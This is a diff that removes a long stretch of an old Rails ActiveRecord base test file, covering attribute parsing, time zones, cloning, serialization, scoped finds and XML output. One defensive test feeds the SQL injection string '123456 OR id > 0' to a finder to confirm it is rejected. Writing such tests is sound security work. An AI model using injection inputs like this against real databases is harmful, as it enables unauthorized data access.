-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-  end
-
-  def test_multiparameter_attributes_on_time_with_old_date
-    attributes = {
-      "written_on(1i)" => "1850", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    # testing against to_s(:db) representation because either a Time or a DateTime might be returned, depending on platform
-    assert_equal "1850-06-24 16:24:00", topic.written_on.to_s(:db)
-  end
-
-  def test_multiparameter_attributes_on_time_with_utc
-    ActiveRecord::Base.default_timezone = :utc
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
-  ensure
-    ActiveRecord::Base.default_timezone = :local
-  end
-
-  def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
-    assert_equal Time.zone, topic.written_on.time_zone
-  ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
-  end
-
-  def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-    assert_equal false, topic.written_on.respond_to?(:time_zone)
-  ensure
-    Time.zone = nil
-  end
-
-  def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    Topic.skip_time_zone_conversion_for_attributes = [:written_on]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
-    assert_equal false, topic.written_on.respond_to?(:time_zone)
-  ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
-    Topic.skip_time_zone_conversion_for_attributes = []
-  end
-
-  def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    attributes = {
-      "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
-      "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
-    assert topic.bonus_time.utc?
-  ensure
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
-  end
-
-  def test_multiparameter_attributes_on_time_with_empty_seconds
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-  end
-
-  def test_multiparameter_mass_assignment_protector
-    task = Task.new
-    time = Time.mktime(2000, 1, 1, 1)
-    task.starting = time
-    attributes = { "starting(1i)" => "2004", "starting(2i)" => "6", "starting(3i)" => "24" }
-    task.attributes = attributes
-    assert_equal time, task.starting
-  end
-
-  def test_multiparameter_assignment_of_aggregation
-    customer = Customer.new
-    address = Address.new("The Street", "The City", "The Country")
-    attributes = { "address(1)" => address.street, "address(2)" => address.city, "address(3)" => address.country }
-    customer.attributes = attributes
-    assert_equal address, customer.address
-  end
-
-  def test_attributes_on_dummy_time
-    # Oracle, and Sybase do not have a TIME datatype.
-    return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
-
-    attributes = {
-      "bonus_time" => "5:42:00AM"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
-  end
-
-  def test_boolean
-    b_nil = Booleantest.create({ "value" => nil })
-    nil_id = b_nil.id
-    b_false = Booleantest.create({ "value" => false })
-    false_id = b_false.id
-    b_true = Booleantest.create({ "value" => true })
-    true_id = b_true.id
-
-    b_nil = Booleantest.find(nil_id)
-    assert_nil b_nil.value
-    b_false = Booleantest.find(false_id)
-    assert !b_false.value?
-    b_true = Booleantest.find(true_id)
-    assert b_true.value?
-  end
-
-  def test_boolean_cast_from_string
-    b_blank = Booleantest.create({ "value" => "" })
-    blank_id = b_blank.id
-    b_false = Booleantest.create({ "value" => "0" })
-    false_id = b_false.id
-    b_true = Booleantest.create({ "value" => "1" })
-    true_id = b_true.id
-
-    b_blank = Booleantest.find(blank_id)
-    assert_nil b_blank.value
-    b_false = Booleantest.find(false_id)
-    assert !b_false.value?
-    b_true = Booleantest.find(true_id)
-    assert b_true.value?
-  end
-
-  def test_new_record_returns_boolean
-    assert_equal Topic.new.new_record?, true
-    assert_equal Topic.find(1).new_record?, false
-  end
-
-  def test_clone
-    topic = Topic.find(1)
-    cloned_topic = nil
-    assert_nothing_raised { cloned_topic = topic.clone }
-    assert_equal topic.title, cloned_topic.title
-    assert cloned_topic.new_record?
-
-    # test if the attributes have been cloned
-    topic.title = "a"
-    cloned_topic.title = "b"
-    assert_equal "a", topic.title
-    assert_equal "b", cloned_topic.title
-
-    # test if the attribute values have been cloned
-    topic.title = {"a" => "b"}
-    cloned_topic = topic.clone
-    cloned_topic.title["a"] = "c"
-    assert_equal "b", topic.title["a"]
-
-    #test if attributes set as part of after_initialize are cloned correctly
-    assert_equal topic.author_email_address, cloned_topic.author_email_address
-
-    # test if saved clone object differs from original
-    cloned_topic.save
-    assert !cloned_topic.new_record?
-    assert cloned_topic.id != topic.id
-  end
-
-  def test_clone_with_aggregate_of_same_name_as_attribute
-    dev = DeveloperWithAggregate.find(1)
-    assert_kind_of DeveloperSalary, dev.salary
-
-    clone = nil
-    assert_nothing_raised { clone = dev.clone }
-    assert_kind_of DeveloperSalary, clone.salary
-    assert_equal dev.salary.amount, clone.salary.amount
-    assert clone.new_record?
-
-    # test if the attributes have been cloned
-    original_amount = clone.salary.amount
-    dev.salary.amount = 1
-    assert_equal original_amount, clone.salary.amount
-
-    assert clone.save
-    assert !clone.new_record?
-    assert clone.id != dev.id
-  end
-
-  def test_clone_preserves_subtype
-    clone = nil
-    assert_nothing_raised { clone = Company.find(3).clone }
-    assert_kind_of Client, clone
-  end
-
-  def test_bignum
-    company = Company.find(1)
-    company.rating = 2147483647
-    company.save
-    company = Company.find(1)
-    assert_equal 2147483647, company.rating
-  end
-
-  # TODO: extend defaults tests to other databases!
-  if current_adapter?(:PostgreSQLAdapter)
-    def test_default
-      default = Default.new
-
-      # fixed dates / times
-      assert_equal Date.new(2004, 1, 1), default.fixed_date
-      assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
-
-      # char types
-      assert_equal 'Y', default.char1
-      assert_equal 'a varchar field', default.char2
-      assert_equal 'a text field', default.char3
-    end
-
-    class Geometric < ActiveRecord::Base; end
-    def test_geometric_content
-
-      # accepted format notes:
-      # ()'s aren't required
-      # values can be a mix of float or integer
-
-      g = Geometric.new(
-        :a_point        => '(5.0, 6.1)',
-        #:a_line         => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
-        :a_line_segment => '(2.0, 3), (5.5, 7.0)',
-        :a_box          => '2.0, 3, 5.5, 7.0',
-        :a_path         => '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]',  # [ ] is an open path
-        :a_polygon      => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
-        :a_circle       => '<(5.3, 10.4), 2>'
-      )
-
-      assert g.save
-
-      # Reload and check that we have all the geometric attributes.
-      h = Geometric.find(g.id)
-
-      assert_equal '(5,6.1)', h.a_point
-      assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
-      assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
-      assert_equal '[(2,3),(5.5,7),(8.5,11)]', h.a_path
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
-      assert_equal '<(5.3,10.4),2>', h.a_circle
-
-      # use a geometric function to test for an open path
-      objs = Geometric.find_by_sql ["select isopen(a_path) from geometrics where id = ?", g.id]
-      assert_equal objs[0].isopen, 't'
-
-      # test alternate formats when defining the geometric types
-
-      g = Geometric.new(
-        :a_point        => '5.0, 6.1',
-        #:a_line         => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
-        :a_line_segment => '((2.0, 3), (5.5, 7.0))',
-        :a_box          => '(2.0, 3), (5.5, 7.0)',
-        :a_path         => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',  # ( ) is a closed path
-        :a_polygon      => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
-        :a_circle       => '((5.3, 10.4), 2)'
-      )
-
-      assert g.save
-
-      # Reload and check that we have all the geometric attributes.
-      h = Geometric.find(g.id)
-
-      assert_equal '(5,6.1)', h.a_point
-      assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
-      assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
-      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
-      assert_equal '<(5.3,10.4),2>', h.a_circle
-
-      # use a geometric function to test for an closed path
-      objs = Geometric.find_by_sql ["select isclosed(a_path) from geometrics where id = ?", g.id]
-      assert_equal objs[0].isclosed, 't'
-    end
-  end
-
-  class NumericData < ActiveRecord::Base
-    self.table_name = 'numeric_data'
-  end
-
-  def test_numeric_fields
-    m = NumericData.new(
-      :bank_balance => 1586.43,
-      :big_bank_balance => BigDecimal("1000234000567.95"),
-      :world_population => 6000000000,
-      :my_house_population => 3
-    )
-    assert m.save
-
-    m1 = NumericData.find(m.id)
-    assert_not_nil m1
-
-    # As with migration_test.rb, we should make world_population >= 2**62
-    # to cover 64-bit platforms and test it is a Bignum, but the main thing
-    # is that it's an Integer.
-    assert_kind_of Integer, m1.world_population
-    assert_equal 6000000000, m1.world_population
-
-    assert_kind_of Fixnum, m1.my_house_population
-    assert_equal 3, m1.my_house_population
-
-    assert_kind_of BigDecimal, m1.bank_balance
-    assert_equal BigDecimal("1586.43"), m1.bank_balance
-
-    assert_kind_of BigDecimal, m1.big_bank_balance
-    assert_equal BigDecimal("1000234000567.95"), m1.big_bank_balance
-  end
-
-  def test_auto_id
-    auto = AutoId.new
-    auto.save
-    assert (auto.id > 0)
-  end
-
-  def quote_column_name(name)
-    "<#{name}>"
-  end
-
-  def test_quote_keys
-    ar = AutoId.new
-    source = {"foo" => "bar", "baz" => "quux"}
-    actual = ar.send(:quote_columns, self, source)
-    inverted = actual.invert
-    assert_equal("<foo>", inverted["bar"])
-    assert_equal("<baz>", inverted["quux"])
-  end
-
-  def test_sql_injection_via_find
-    assert_raise(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
-      Topic.find("123456 OR id > 0")
-    end
-  end
-
-  def test_column_name_properly_quoted
-    col_record = ColumnName.new
-    col_record.references = 40
-    assert col_record.save
-    col_record.references = 41
-    assert col_record.save
-    assert_not_nil c2 = ColumnName.find(col_record.id)
-    assert_equal(41, c2.references)
-  end
-
-  def test_quoting_arrays
-    replies = Reply.find(:all, :conditions => [ "id IN (?)", topics(:first).replies.collect(&:id) ])
-    assert_equal topics(:first).replies.size, replies.size
-
-    replies = Reply.find(:all, :conditions => [ "id IN (?)", [] ])
-    assert_equal 0, replies.size
-  end
-
-  MyObject = Struct.new :attribute1, :attribute2
-
-  def test_serialized_attribute
-    myobj = MyObject.new('value1', 'value2')
-    topic = Topic.create("content" => myobj)
-    Topic.serialize("content", MyObject)
-    assert_equal(myobj, topic.content)
-  end
-
-  def test_serialized_time_attribute
-    myobj = Time.local(2008,1,1,1,0)
-    topic = Topic.create("content" => myobj).reload
-    assert_equal(myobj, topic.content)
-  end
-
-  def test_serialized_string_attribute
-    myobj = "Yes"
-    topic = Topic.create("content" => myobj).reload
-    assert_equal(myobj, topic.content)
-  end
-
-  def test_nil_serialized_attribute_with_class_constraint
-    myobj = MyObject.new('value1', 'value2')
-    topic = Topic.new
-    assert_nil topic.content
-  end
-
-  def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
-    myobj = MyObject.new('value1', 'value2')
-    topic = Topic.new(:content => myobj)
-    assert topic.save
-    Topic.serialize(:content, Hash)
-    assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).content }
-  ensure
-    Topic.serialize(:content)
-  end
-
-  def test_serialized_attribute_with_class_constraint
-    settings = { "color" => "blue" }
-    Topic.serialize(:content, Hash)
-    topic = Topic.new(:content => settings)
-    assert topic.save
-    assert_equal(settings, Topic.find(topic.id).content)
-  ensure
-    Topic.serialize(:content)
-  end
-
-  def test_quote
-    author_name = "\\ \001 ' \n \\n \""
-    topic = Topic.create('author_name' => author_name)
-    assert_equal author_name, Topic.find(topic.id).author_name
-  end
-
-  if RUBY_VERSION < '1.9'
-    def test_quote_chars
-      with_kcode('UTF8') do
-        str = 'The Narrator'
-        topic = Topic.create(:author_name => str)
-        assert_equal str, topic.author_name
-
-        assert_kind_of ActiveSupport::Multibyte.proxy_class, str.mb_chars
-        topic = Topic.find_by_author_name(str.mb_chars)
-
-        assert_kind_of Topic, topic
-        assert_equal str, topic.author_name, "The right topic should have been found by name even with name passed as Chars"
-      end
-    end
-  end
-
-  def test_class_level_destroy
-    should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
-    Topic.find(1).replies << should_be_destroyed_reply
-
-    Topic.destroy(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
-    assert_raise(ActiveRecord::RecordNotFound) { Reply.find(should_be_destroyed_reply.id) }
-  end
-
-  def test_class_level_delete
-    should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
-    Topic.find(1).replies << should_be_destroyed_reply
-
-    Topic.delete(1)
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
-    assert_nothing_raised { Reply.find(should_be_destroyed_reply.id) }
-  end
-
-  def test_increment_attribute
-    assert_equal 50, accounts(:signals37).credit_limit
-    accounts(:signals37).increment! :credit_limit
-    assert_equal 51, accounts(:signals37, :reload).credit_limit
-
-    accounts(:signals37).increment(:credit_limit).increment!(:credit_limit)
-    assert_equal 53, accounts(:signals37, :reload).credit_limit
-  end
-
-  def test_increment_nil_attribute
-    assert_nil topics(:first).parent_id
-    topics(:first).increment! :parent_id
-    assert_equal 1, topics(:first).parent_id
-  end
-
-  def test_increment_attribute_by
-    assert_equal 50, accounts(:signals37).credit_limit
-    accounts(:signals37).increment! :credit_limit, 5
-    assert_equal 55, accounts(:signals37, :reload).credit_limit
-
-    accounts(:signals37).increment(:credit_limit, 1).increment!(:credit_limit, 3)
-    assert_equal 59, accounts(:signals37, :reload).credit_limit
-  end
-
-  def test_decrement_attribute
-    assert_equal 50, accounts(:signals37).credit_limit
-
-    accounts(:signals37).decrement!(:credit_limit)
-    assert_equal 49, accounts(:signals37, :reload).credit_limit
-
-    accounts(:signals37).decrement(:credit_limit).decrement!(:credit_limit)
-    assert_equal 47, accounts(:signals37, :reload).credit_limit
-  end
-
-  def test_decrement_attribute_by
-    assert_equal 50, accounts(:signals37).credit_limit
-    accounts(:signals37).decrement! :credit_limit, 5
-    assert_equal 45, accounts(:signals37, :reload).credit_limit
-
-    accounts(:signals37).decrement(:credit_limit, 1).decrement!(:credit_limit, 3)
-    assert_equal 41, accounts(:signals37, :reload).credit_limit
-  end
-
-  def test_toggle_attribute
-    assert !topics(:first).approved?
-    topics(:first).toggle!(:approved)
-    assert topics(:first).approved?
-    topic = topics(:first)
-    topic.toggle(:approved)
-    assert !topic.approved?
-    topic.reload
-    assert topic.approved?
-  end
-
-  def test_reload
-    t1 = Topic.find(1)
-    t2 = Topic.find(1)
-    t1.title = "something else"
-    t1.save
-    t2.reload
-    assert_equal t1.title, t2.title
-  end
-
-  def test_reload_with_exclusive_scope
-    dev = DeveloperCalledDavid.first
-    dev.update_attributes!( :name => "NotDavid" )
-    assert_equal dev, dev.reload
-  end
-
-  def test_define_attr_method_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.send(:define_attr_method, :table_name, "foo")
-    assert_equal "foo", k.table_name
-  end
-
-  def test_define_attr_method_with_block
-    k = Class.new( ActiveRecord::Base )
-    k.send(:define_attr_method, :primary_key) { "sys_" + original_primary_key }
-    assert_equal "sys_id", k.primary_key
-  end
-
-  def test_set_table_name_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.table_name = "foo"
-    assert_equal "foo", k.table_name
-    k.set_table_name "bar"
-    assert_equal "bar", k.table_name
-  end
-
-  def test_set_table_name_with_block
-    k = Class.new( ActiveRecord::Base )
-    k.set_table_name { "ks" }
-    assert_equal "ks", k.table_name
-  end
-
-  def test_set_primary_key_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.primary_key = "foo"
-    assert_equal "foo", k.primary_key
-    k.set_primary_key "bar"
-    assert_equal "bar", k.primary_key
-  end
-
-  def test_set_primary_key_with_block
-    k = Class.new( ActiveRecord::Base )
-    k.set_primary_key { "sys_" + original_primary_key }
-    assert_equal "sys_id", k.primary_key
-  end
-
-  def test_set_inheritance_column_with_value
-    k = Class.new( ActiveRecord::Base )
-    k.inheritance_column = "foo"
-    assert_equal "foo", k.inheritance_column
-    k.set_inheritance_column "bar"
-    assert_equal "bar", k.inheritance_column
-  end
-
-  def test_set_inheritance_column_with_block
-    k = Class.new( ActiveRecord::Base )
-    k.set_inheritance_column { original_inheritance_column + "_id" }
-    assert_equal "type_id", k.inheritance_column
-  end
-
-  def test_count_with_join
-    res = Post.count_by_sql "SELECT COUNT(*) FROM posts LEFT JOIN comments ON posts.id=comments.post_id WHERE posts.#{QUOTED_TYPE} = 'Post'"
-
-    res2 = Post.count(:conditions => "posts.#{QUOTED_TYPE} = 'Post'", :joins => "LEFT JOIN comments ON posts.id=comments.post_id")
-    assert_equal res, res2
-
-    res3 = nil
-    assert_nothing_raised do
-      res3 = Post.count(:conditions => "posts.#{QUOTED_TYPE} = 'Post'",
-                        :joins => "LEFT JOIN comments ON posts.id=comments.post_id")
-    end
-    assert_equal res, res3
-
-    res4 = Post.count_by_sql "SELECT COUNT(p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
-    res5 = nil
-    assert_nothing_raised do
-      res5 = Post.count(:conditions => "p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id",
-                        :joins => "p, comments co",
-                        :select => "p.id")
-    end
-
-    assert_equal res4, res5
-
-    unless current_adapter?(:SQLite2Adapter, :DeprecatedSQLiteAdapter)
-      res6 = Post.count_by_sql "SELECT COUNT(DISTINCT p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
-      res7 = nil
-      assert_nothing_raised do
-        res7 = Post.count(:conditions => "p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id",
-                          :joins => "p, comments co",
-                          :select => "p.id",
-                          :distinct => true)
-      end
-      assert_equal res6, res7
-    end
-  end
-
-  def test_clear_association_cache_stored
-    firm = Firm.find(1)
-    assert_kind_of Firm, firm
-
-    firm.clear_association_cache
-    assert_equal Firm.find(1).clients.collect{ |x| x.name }.sort, firm.clients.collect{ |x| x.name }.sort
-  end
-
-  def test_clear_association_cache_new_record
-     firm            = Firm.new
-     client_stored   = Client.find(3)
-     client_new      = Client.new
-     client_new.name = "The Joneses"
-     clients         = [ client_stored, client_new ]
-
-     firm.clients    << clients
-     assert_equal clients.map(&:name).to_set, firm.clients.map(&:name).to_set
-
-     firm.clear_association_cache
-     assert_equal clients.map(&:name).to_set, firm.clients.map(&:name).to_set
-  end
-
-  def test_interpolate_sql
-    assert_nothing_raised { Category.new.send(:interpolate_sql, 'foo@bar') }
-    assert_nothing_raised { Category.new.send(:interpolate_sql, 'foo bar) baz') }
-    assert_nothing_raised { Category.new.send(:interpolate_sql, 'foo bar} baz') }
-  end
-
-  def test_scoped_find_conditions
-    scoped_developers = Developer.with_scope(:find => { :conditions => 'salary > 90000' }) do
-      Developer.find(:all, :conditions => 'id < 5')
-    end
-    assert !scoped_developers.include?(developers(:david)) # David's salary is less than 90,000
-    assert_equal 3, scoped_developers.size
-  end
-
-  def test_scoped_find_limit_offset
-    scoped_developers = Developer.with_scope(:find => { :limit => 3, :offset => 2 }) do
-      Developer.find(:all, :order => 'id')
-    end
-    assert !scoped_developers.include?(developers(:david))
-    assert !scoped_developers.include?(developers(:jamis))
-    assert_equal 3, scoped_developers.size
-
-    # Test without scoped find conditions to ensure we get the whole thing
-    developers = Developer.find(:all, :order => 'id')
-    assert_equal Developer.count, developers.size
-  end
-
-  def test_scoped_find_order
-    # Test order in scope
-    scoped_developers = Developer.with_scope(:find => { :limit => 1, :order => 'salary DESC' }) do
-      Developer.find(:all)
-    end
-    assert_equal 'Jamis', scoped_developers.first.name
-    assert scoped_developers.include?(developers(:jamis))
-    # Test scope without order and order in find
-    scoped_developers = Developer.with_scope(:find => { :limit => 1 }) do
-      Developer.find(:all, :order => 'salary DESC')
-    end
-    # Test scope order + find order, find has priority
-    scoped_developers = Developer.with_scope(:find => { :limit => 3, :order => 'id DESC' }) do
-      Developer.find(:all, :order => 'salary ASC')
-    end
-    assert scoped_developers.include?(developers(:poor_jamis))
-    assert scoped_developers.include?(developers(:david))
-    assert scoped_developers.include?(developers(:dev_10))
-    # Test without scoped find conditions to ensure we get the right thing
-    developers = Developer.find(:all, :order => 'id', :limit => 1)
-    assert scoped_developers.include?(developers(:david))
-  end
-
-  def test_scoped_find_limit_offset_including_has_many_association
-    topics = Topic.with_scope(:find => {:limit => 1, :offset => 1, :include => :replies}) do
-      Topic.find(:all, :order => "topics.id")
-    end
-    assert_equal 1, topics.size
-    assert_equal 2, topics.first.id
-  end
-
-  def test_scoped_find_order_including_has_many_association
-    developers = Developer.with_scope(:find => { :order => 'developers.salary DESC', :include => :projects }) do
-      Developer.find(:all)
-    end
-    assert developers.size >= 2
-    for i in 1...developers.size
-      assert developers[i-1].salary >= developers[i].salary
-    end
-  end
-
-  def test_scoped_find_with_group_and_having
-    developers = Developer.with_scope(:find => { :group => 'developers.salary', :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary" }) do
-      Developer.find(:all)
-    end
-    assert_equal 3, developers.size
-  end
-
-  def test_find_last
-    last  = Developer.find :last
-    assert_equal last, Developer.find(:first, :order => 'id desc')
-  end
-
-  def test_last
-    assert_equal Developer.find(:first, :order => 'id desc'), Developer.last
-  end
-
-  def test_all_with_conditions
-    assert_equal Developer.find(:all, :order => 'id desc'), Developer.all(:order => 'id desc')
-  end
-
-  def test_find_ordered_last
-    last  = Developer.find :last, :order => 'developers.salary ASC'
-    assert_equal last, Developer.find(:all, :order => 'developers.salary ASC').last
-  end
-
-  def test_find_reverse_ordered_last
-    last  = Developer.find :last, :order => 'developers.salary DESC'
-    assert_equal last, Developer.find(:all, :order => 'developers.salary DESC').last
-  end
-
-  def test_find_multiple_ordered_last
-    last  = Developer.find :last, :order => 'developers.name, developers.salary DESC'
-    assert_equal last, Developer.find(:all, :order => 'developers.name, developers.salary DESC').last
-  end
-
-  def test_find_symbol_ordered_last
-    last  = Developer.find :last, :order => :salary
-    assert_equal last, Developer.find(:all, :order => :salary).last
-  end
-
-  def test_find_scoped_ordered_last
-    last_developer = Developer.with_scope(:find => { :order => 'developers.salary ASC' }) do
-      Developer.find(:last)
-    end
-    assert_equal last_developer, Developer.find(:all, :order => 'developers.salary ASC').last
-  end
-
-  def test_abstract_class
-    assert !ActiveRecord::Base.abstract_class?
-    assert LoosePerson.abstract_class?
-    assert !LooseDescendant.abstract_class?
-  end
-
-  def test_base_class
-    assert_equal LoosePerson,     LoosePerson.base_class
-    assert_equal LooseDescendant, LooseDescendant.base_class
-    assert_equal TightPerson,     TightPerson.base_class
-    assert_equal TightPerson,     TightDescendant.base_class
-
-    assert_equal Post, Post.base_class
-    assert_equal Post, SpecialPost.base_class
-    assert_equal Post, StiPost.base_class
-    assert_equal SubStiPost, SubStiPost.base_class
-  end
-
-  def test_descends_from_active_record
-    # Tries to call Object.abstract_class?
-    assert_raise(NoMethodError) do
-      ActiveRecord::Base.descends_from_active_record?
-    end
-
-    # Abstract subclass of AR::Base.
-    assert LoosePerson.descends_from_active_record?
-
-    # Concrete subclass of an abstract class.
-    assert LooseDescendant.descends_from_active_record?
-
-    # Concrete subclass of AR::Base.
-    assert TightPerson.descends_from_active_record?
-
-    # Concrete subclass of a concrete class but has no type column.
-    assert TightDescendant.descends_from_active_record?
-
-    # Concrete subclass of AR::Base.
-    assert Post.descends_from_active_record?
-
-    # Abstract subclass of a concrete class which has a type column.
-    # This is pathological, as you'll never have Sub < Abstract < Concrete.
-    assert !StiPost.descends_from_active_record?
-
-    # Concrete subclasses an abstract class which has a type column.
-    assert !SubStiPost.descends_from_active_record?
-  end
-
-  def test_find_on_abstract_base_class_doesnt_use_type_condition
-    old_class = LooseDescendant
-    Object.send :remove_const, :LooseDescendant
-
-    descendant = old_class.create! :first_name => 'bob'
-    assert_not_nil LoosePerson.find(descendant.id), "Should have found instance of LooseDescendant when finding abstract LoosePerson: #{descendant.inspect}"
-  ensure
-    unless Object.const_defined?(:LooseDescendant)
-      Object.const_set :LooseDescendant, old_class
-    end
-  end
-
-  def test_assert_queries
-    query = lambda { ActiveRecord::Base.connection.execute 'select count(*) from developers' }
-    assert_queries(2) { 2.times { query.call } }
-    assert_queries 1, &query
-    assert_no_queries { assert true }
-  end
-
-  def test_to_xml
-    xml = REXML::Document.new(topics(:first).to_xml(:indent => 0))
-    bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema
-    written_on_in_current_timezone = topics(:first).written_on.xmlschema
-    last_read_in_current_timezone = topics(:first).last_read.xmlschema
-
-    assert_equal "topic", xml.root.name
-    assert_equal "The First Topic" , xml.elements["//title"].text
-    assert_equal "David" , xml.elements["//author-name"].text
-
-    assert_equal "1", xml.elements["//id"].text
-    assert_equal "integer" , xml.elements["//id"].attributes['type']
-
-    assert_equal "1", xml.elements["//replies-count"].text
-    assert_equal "integer" , xml.elements["//replies-count"].attributes['type']
-
-    assert_equal written_on_in_current_timezone, xml.elements["//written-on"].text
-    assert_equal "datetime" , xml.elements["//written-on"].attributes['type']
-
-    assert_equal "--- Have a nice day\n" , xml.elements["//content"].text
-    assert_equal "yaml" , xml.elements["//content"].attributes['type']
-
-    assert_equal "david@loudthinking.com", xml.elements["//author-email-address"].text
-
-    assert_equal nil, xml.elements["//parent-id"].text
-    assert_equal "integer", xml.elements["//parent-id"].attributes['type']
-    assert_equal "true", xml.elements["//parent-id"].attributes['nil']
-
-    if current_adapter?(:SybaseAdapter, :OracleAdapter)
-      assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text
-      assert_equal "datetime" , xml.elements["//last-read"].attributes['type']
-    else
-      assert_equal "2004-04-15", xml.elements["//last-read"].text
-      assert_equal "date" , xml.elements["//last-read"].attributes['type']
-    end
-
-    # Oracle and DB2 don't have true boolean or time-only fields
-    unless current_adapter?(:OracleAdapter, :DB2Adapter)
-      assert_equal "false", xml.elements["//approved"].text
-      assert_equal "boolean" , xml.elements["//approved"].attributes['type']
-
-      assert_equal bonus_time_in_current_timezone, xml.elements["//bonus-time"].text
-      assert_equal "datetime" , xml.elements["//bonus-time"].attributes['type']
-    end
-  end
-
-  def test_to_xml_skipping_attributes
-    xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :replies_count])
-    assert_equal "<topic>", xml.first(7)
-    assert !xml.include?(%(<title>The First Topic</title>))
-    assert xml.include?(%(<author-name>David</author-name>))
-
-    xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :author_name, :replies_count])
-    assert !xml.include?(%(<title>The First Topic</title>))
-    assert !xml.include?(%(<author-name>David</author-name>))
-  end
-
-  def test_to_xml_including_has_many_association
-    xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :include => :replies, :except => :replies_count)
-    assert_equal "<topic>", xml.first(7)
